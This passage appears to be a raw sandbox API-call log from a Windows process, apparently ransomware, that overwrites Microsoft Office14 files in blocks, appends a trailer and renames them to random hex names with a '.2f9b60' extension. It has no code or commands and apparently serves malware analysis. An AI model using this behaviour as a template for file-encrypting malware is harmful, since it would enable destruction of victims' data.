[0155.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8da0) returned 1 [0155.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429252c0 [0155.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8da0 [0155.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaee0 [0155.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaee0) returned 1 [0155.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce240a0) returned 1 [0155.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0155.458] WriteFile (hFile=0xe9c, lpBuffer=0x429252c0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3140fc40, lpOverlapped=0x0) [0194.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429252c0) returned 1 [0194.328] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.328] ReadFile (in: hFile=0xe9c, lpBuffer=0x4291daa0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3140fc40, lpOverlapped=0x0 | out: lpBuffer=0x4291daa0*, lpNumberOfBytesRead=0x3140fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0194.330] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe880 [0194.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a330 [0194.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a330) returned 1 [0194.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429252c0 [0194.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a330 [0194.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a360 [0194.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a360) returned 1 [0194.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe880) returned 1 [0194.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.335] WriteFile (in: hFile=0xe9c, lpBuffer=0x429252c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3140fc40, lpOverlapped=0x0 | out: lpBuffer=0x429252c0*, lpNumberOfBytesWritten=0x3140fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0204.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429252c0) returned 1 [0204.774] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0xfb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.775] ReadFile (in: hFile=0xe9c, lpBuffer=0x4291daa0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3140fc40, lpOverlapped=0x0 | out: lpBuffer=0x4291daa0*, lpNumberOfBytesRead=0x3140fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0204.799] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0xfb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62460 [0204.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59b30 [0204.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a7d0 [0204.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a7d0) returned 1 [0204.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f1f0f0 [0204.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a7d0 [0204.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a770 [0204.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a770) returned 1 [0204.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59b30) returned 1 [0204.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62460) returned 1 [0204.803] WriteFile (in: hFile=0xe9c, lpBuffer=0x41f1f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3140fc40, lpOverlapped=0x0 | out: lpBuffer=0x41f1f0f0*, lpNumberOfBytesWritten=0x3140fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0214.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1f0f0) returned 1 [0214.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431052f0 [0214.983] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.984] WriteFile (in: hFile=0xe9c, lpBuffer=0x1cebd540*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x3140fcf0, lpOverlapped=0x0 | out: lpBuffer=0x1cebd540*, lpNumberOfBytesWritten=0x3140fcf0*=0x146, lpOverlapped=0x0) returned 1 [0219.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be50 [0219.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420521a0 [0219.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420521a0) returned 1 [0219.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0219.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420521a0 [0219.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052440 [0219.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052440) returned 1 [0219.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be50) returned 1 [0219.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x431ad9a0 [0219.267] sprintf (in: _Dest=0x431ad9a0, _Format="%c%c" | out: _Dest="db") returned 2 [0219.267] sprintf (in: _Dest=0x431ad9a2, _Format="%c%c" | out: _Dest="be") returned 2 [0219.267] sprintf (in: _Dest=0x431ad9a4, _Format="%c%c" | out: _Dest="bd") returned 2 [0219.267] sprintf (in: _Dest=0x431ad9a6, _Format="%c%c" | out: _Dest="dc") returned 2 [0219.267] sprintf (in: _Dest=0x431ad9a8, _Format="%c%c" | out: _Dest="ae") returned 2 [0219.268] sprintf (in: _Dest=0x431ad9aa, _Format="%c%c" | out: _Dest="87") returned 2 [0219.268] sprintf (in: _Dest=0x431ad9ac, _Format="%c%c" | out: _Dest="83") returned 2 [0219.268] sprintf (in: _Dest=0x431ad9ae, _Format="%c%c" | out: _Dest="8f") returned 2 [0219.268] sprintf (in: _Dest=0x431ad9b0, _Format="%c%c" | out: _Dest="e3") returned 2 [0219.268] sprintf (in: _Dest=0x431ad9b2, _Format="%c%c" | out: _Dest="d3") returned 2 [0219.268] sprintf (in: _Dest=0x431ad9b4, _Format="%c%c" | out: _Dest="31") returned 2 [0219.268] sprintf (in: _Dest=0x431ad9b6, _Format="%c%c" | out: _Dest="fa") returned 2 [0219.268] sprintf (in: _Dest=0x431ad9b8, _Format="%c%c" | out: _Dest="99") returned 2 [0219.268] sprintf (in: _Dest=0x431ad9ba, _Format="%c%c" | out: _Dest="f6") returned 2 [0219.268] sprintf (in: _Dest=0x431ad9bc, _Format="%c%c" | out: _Dest="a8") returned 2 [0219.268] sprintf (in: _Dest=0x431ad9be, _Format="%c%c" | out: _Dest="6c") returned 2 [0219.268] sprintf (in: _Dest=0x431ad9c0, _Format="%c%c" | out: _Dest="dd") returned 2 [0219.268] sprintf (in: _Dest=0x431ad9c2, _Format="%c%c" | out: _Dest="e3") returned 2 [0219.268] sprintf (in: _Dest=0x431ad9c4, _Format="%c%c" | out: _Dest="3e") returned 2 [0219.268] sprintf (in: _Dest=0x431ad9c6, _Format="%c%c" | out: _Dest="11") returned 2 [0219.268] RtlInitAnsiString (in: DestinationString=0x3140fd68, SourceString="dbbebddcae87838fe3d331fa99f6a86cdde33e11" | out: DestinationString="dbbebddcae87838fe3d331fa99f6a86cdde33e11") [0219.268] RtlAnsiStringToUnicodeString (in: DestinationString=0x3140fd38, SourceString="dbbebddcae87838fe3d331fa99f6a86cdde33e11", AllocateDestinationString=1 | out: DestinationString="dbbebddcae87838fe3d331fa99f6a86cdde33e11") returned 0x0 [0219.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858df0 [0219.269] wcscat (in: _Dest=0x1b86ba60, _Source="dbbebddcae" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\dbbebddcae") returned="C:\\Program Files\\Microsoft Office\\Office14\\dbbebddcae" [0219.269] wcscat (in: _Dest=0x1b86ba60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\dbbebddcae.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\dbbebddcae.2f9b60" [0219.269] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\dbbebddcae.2f9b60", NtPathName=0x3140fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\dbbebddcae.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431cad60 Thread: id = 2548 os_tid = 0x203c [0155.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml")) returned 0x20 [0155.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML", dwFileAttributes=0x20) returned 1 [0155.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xed4 [0155.421] GetFileSizeEx (in: hFile=0xed4, lpFileSize=0x3154fcc0 | out: lpFileSize=0x3154fcc0*=79284) returned 1 [0155.421] SetFilePointerEx (in: hFile=0xed4, liDistanceToMove=0x135b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.421] ReadFile (in: hFile=0xed4, lpBuffer=0x3154fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3154fc88, lpOverlapped=0x0 | out: lpBuffer=0x3154fc40*, lpNumberOfBytesRead=0x3154fc88*=0x4, lpOverlapped=0x0) returned 1 [0155.441] SetFilePointerEx (in: hFile=0xed4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8da0 [0155.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaee0 [0155.442] NtQuerySystemTime (in: CurrentTime=0x3154fb80 | out: CurrentTime=0x3154fb80*=132462177605782000) returned 0x0 [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x5f1c3223 [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x14c1ab2a [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x774f23e [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x440ded8f [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0xa61f6cd [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x168f0a5 [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x18c47f4b [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x16a3e91 [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x1367d6ae [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0xff903ab [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x20e430ea [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x4a589bfe [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x610f6453 [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x6a44b856 [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x392f5c8e [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x331cfda1 [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x2a7e2344 [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x7c1288a2 [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x4b9c1b6e [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x3edd3684 [0155.442] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0xce6cb6a [0155.443] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0xb68eeff [0155.443] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x36d8b4b4 [0155.443] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x2d2db912 [0155.443] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x10efa9b2 [0155.443] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x345c4a48 [0155.443] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x24c34b14 [0155.443] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x3db5e405 [0155.443] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x50047940 [0155.443] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x1d1e3788 [0155.443] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x329f31d4 [0155.443] RtlRandomEx (in: Seed=0x3154fb70 | out: Seed=0x3154fb70) returned 0x79ba1169 [0155.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaf10 [0155.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce240a0 [0155.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaf40 [0155.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce240a0) returned 1 [0155.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaee0) returned 1 [0155.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8da0) returned 1 [0155.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429216b0 [0155.455] SetFilePointerEx (in: hFile=0xed4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.455] ReadFile (in: hFile=0xed4, lpBuffer=0x429216b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3154fbe0, lpOverlapped=0x0 | out: lpBuffer=0x429216b0*, lpNumberOfBytesRead=0x3154fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0155.663] SetFilePointerEx (in: hFile=0xed4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18730 [0155.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce242a0 [0155.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb240 [0155.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb240) returned 1 [0155.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4295ae50 [0155.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb240 [0155.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb2d0 [0155.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb2d0) returned 1 [0155.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce242a0) returned 1 [0155.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18730) returned 1 [0155.666] WriteFile (hFile=0xed4, lpBuffer=0x4295ae50, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3154fbe0, lpOverlapped=0x0) [0187.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4295ae50) returned 1 [0187.221] SetFilePointerEx (in: hFile=0xed4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.221] ReadFile (in: hFile=0xed4, lpBuffer=0x429216b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3154fbe0, lpOverlapped=0x0 | out: lpBuffer=0x429216b0*, lpNumberOfBytesRead=0x3154fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.566] SetFilePointerEx (in: hFile=0xed4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b930 [0187.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307d00 [0187.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a71f0 [0187.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a71f0) returned 1 [0187.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203abd40 [0187.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a71f0 [0187.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c9e0 [0187.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c9e0) returned 1 [0187.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307d00) returned 1 [0187.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b930) returned 1 [0187.569] WriteFile (in: hFile=0xed4, lpBuffer=0x203abd40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3154fbe0, lpOverlapped=0x0 | out: lpBuffer=0x203abd40*, lpNumberOfBytesWritten=0x3154fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203abd40) returned 1 [0205.409] SetFilePointerEx (in: hFile=0xed4, liDistanceToMove=0xf9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.409] ReadFile (in: hFile=0xed4, lpBuffer=0x429216b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3154fbe0, lpOverlapped=0x0 | out: lpBuffer=0x429216b0*, lpNumberOfBytesRead=0x3154fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.506] SetFilePointerEx (in: hFile=0xed4, liDistanceToMove=0xf9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a10 [0205.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a10) returned 1 [0205.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42aa9e90 [0205.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a10 [0205.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262600 [0205.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262600) returned 1 [0205.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.510] WriteFile (in: hFile=0xed4, lpBuffer=0x42aa9e90*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3154fbe0, lpOverlapped=0x0 | out: lpBuffer=0x42aa9e90*, lpNumberOfBytesWritten=0x3154fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aa9e90) returned 1 [0205.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431a0320 [0205.513] SetFilePointerEx (in: hFile=0xed4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.514] WriteFile (in: hFile=0xed4, lpBuffer=0x1cebc820*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x3154fc90, lpOverlapped=0x0 | out: lpBuffer=0x1cebc820*, lpNumberOfBytesWritten=0x3154fc90*=0x148, lpOverlapped=0x0) returned 1 [0208.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0208.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb360 [0208.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0208.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a99d0) returned 1 [0208.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d520 [0208.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0208.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9670 [0208.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9670) returned 1 [0208.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb360) returned 1 [0208.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0208.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431ac9e0 [0208.956] sprintf (in: _Dest=0x431ac9e0, _Format="%c%c" | out: _Dest="d2") returned 2 [0208.956] sprintf (in: _Dest=0x431ac9e2, _Format="%c%c" | out: _Dest="b8") returned 2 [0208.956] sprintf (in: _Dest=0x431ac9e4, _Format="%c%c" | out: _Dest="cf") returned 2 [0208.956] sprintf (in: _Dest=0x431ac9e6, _Format="%c%c" | out: _Dest="31") returned 2 [0208.956] sprintf (in: _Dest=0x431ac9e8, _Format="%c%c" | out: _Dest="81") returned 2 [0208.956] sprintf (in: _Dest=0x431ac9ea, _Format="%c%c" | out: _Dest="f6") returned 2 [0208.956] sprintf (in: _Dest=0x431ac9ec, _Format="%c%c" | out: _Dest="9c") returned 2 [0208.956] sprintf (in: _Dest=0x431ac9ee, _Format="%c%c" | out: _Dest="78") returned 2 [0208.956] sprintf (in: _Dest=0x431ac9f0, _Format="%c%c" | out: _Dest="3a") returned 2 [0208.956] sprintf (in: _Dest=0x431ac9f2, _Format="%c%c" | out: _Dest="a8") returned 2 [0208.956] sprintf (in: _Dest=0x431ac9f4, _Format="%c%c" | out: _Dest="ec") returned 2 [0208.956] sprintf (in: _Dest=0x431ac9f6, _Format="%c%c" | out: _Dest="98") returned 2 [0208.956] sprintf (in: _Dest=0x431ac9f8, _Format="%c%c" | out: _Dest="e3") returned 2 [0208.957] sprintf (in: _Dest=0x431ac9fa, _Format="%c%c" | out: _Dest="50") returned 2 [0208.957] sprintf (in: _Dest=0x431ac9fc, _Format="%c%c" | out: _Dest="a3") returned 2 [0208.957] sprintf (in: _Dest=0x431ac9fe, _Format="%c%c" | out: _Dest="40") returned 2 [0208.957] sprintf (in: _Dest=0x431aca00, _Format="%c%c" | out: _Dest="6d") returned 2 [0208.957] sprintf (in: _Dest=0x431aca02, _Format="%c%c" | out: _Dest="d1") returned 2 [0208.957] sprintf (in: _Dest=0x431aca04, _Format="%c%c" | out: _Dest="98") returned 2 [0208.957] sprintf (in: _Dest=0x431aca06, _Format="%c%c" | out: _Dest="b1") returned 2 [0208.957] sprintf (in: _Dest=0x431aca08, _Format="%c%c" | out: _Dest="02") returned 2 [0208.957] sprintf (in: _Dest=0x431aca0a, _Format="%c%c" | out: _Dest="41") returned 2 [0208.957] RtlInitAnsiString (in: DestinationString=0x3154fd08, SourceString="d2b8cf3181f69c783aa8ec98e350a3406dd198b10241" | out: DestinationString="d2b8cf3181f69c783aa8ec98e350a3406dd198b10241") [0208.957] RtlAnsiStringToUnicodeString (in: DestinationString=0x3154fcd8, SourceString="d2b8cf3181f69c783aa8ec98e350a3406dd198b10241", AllocateDestinationString=1 | out: DestinationString="d2b8cf3181f69c783aa8ec98e350a3406dd198b10241") returned 0x0 [0208.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4319fe50 [0208.957] wcscat (in: _Dest=0x431a1920, _Source="d2b8cf3181f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\d2b8cf3181f") returned="C:\\Program Files\\Microsoft Office\\Office14\\d2b8cf3181f" [0208.957] wcscat (in: _Dest=0x431a1920, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\d2b8cf3181f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\d2b8cf3181f.2f9b60" [0208.957] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\d2b8cf3181f.2f9b60", NtPathName=0x3154fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\d2b8cf3181f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43146610 Thread: id = 2549 os_tid = 0x2040 [0155.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1ced9400 [0155.426] wcscpy (in: _Dest=0x1ced9400, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft 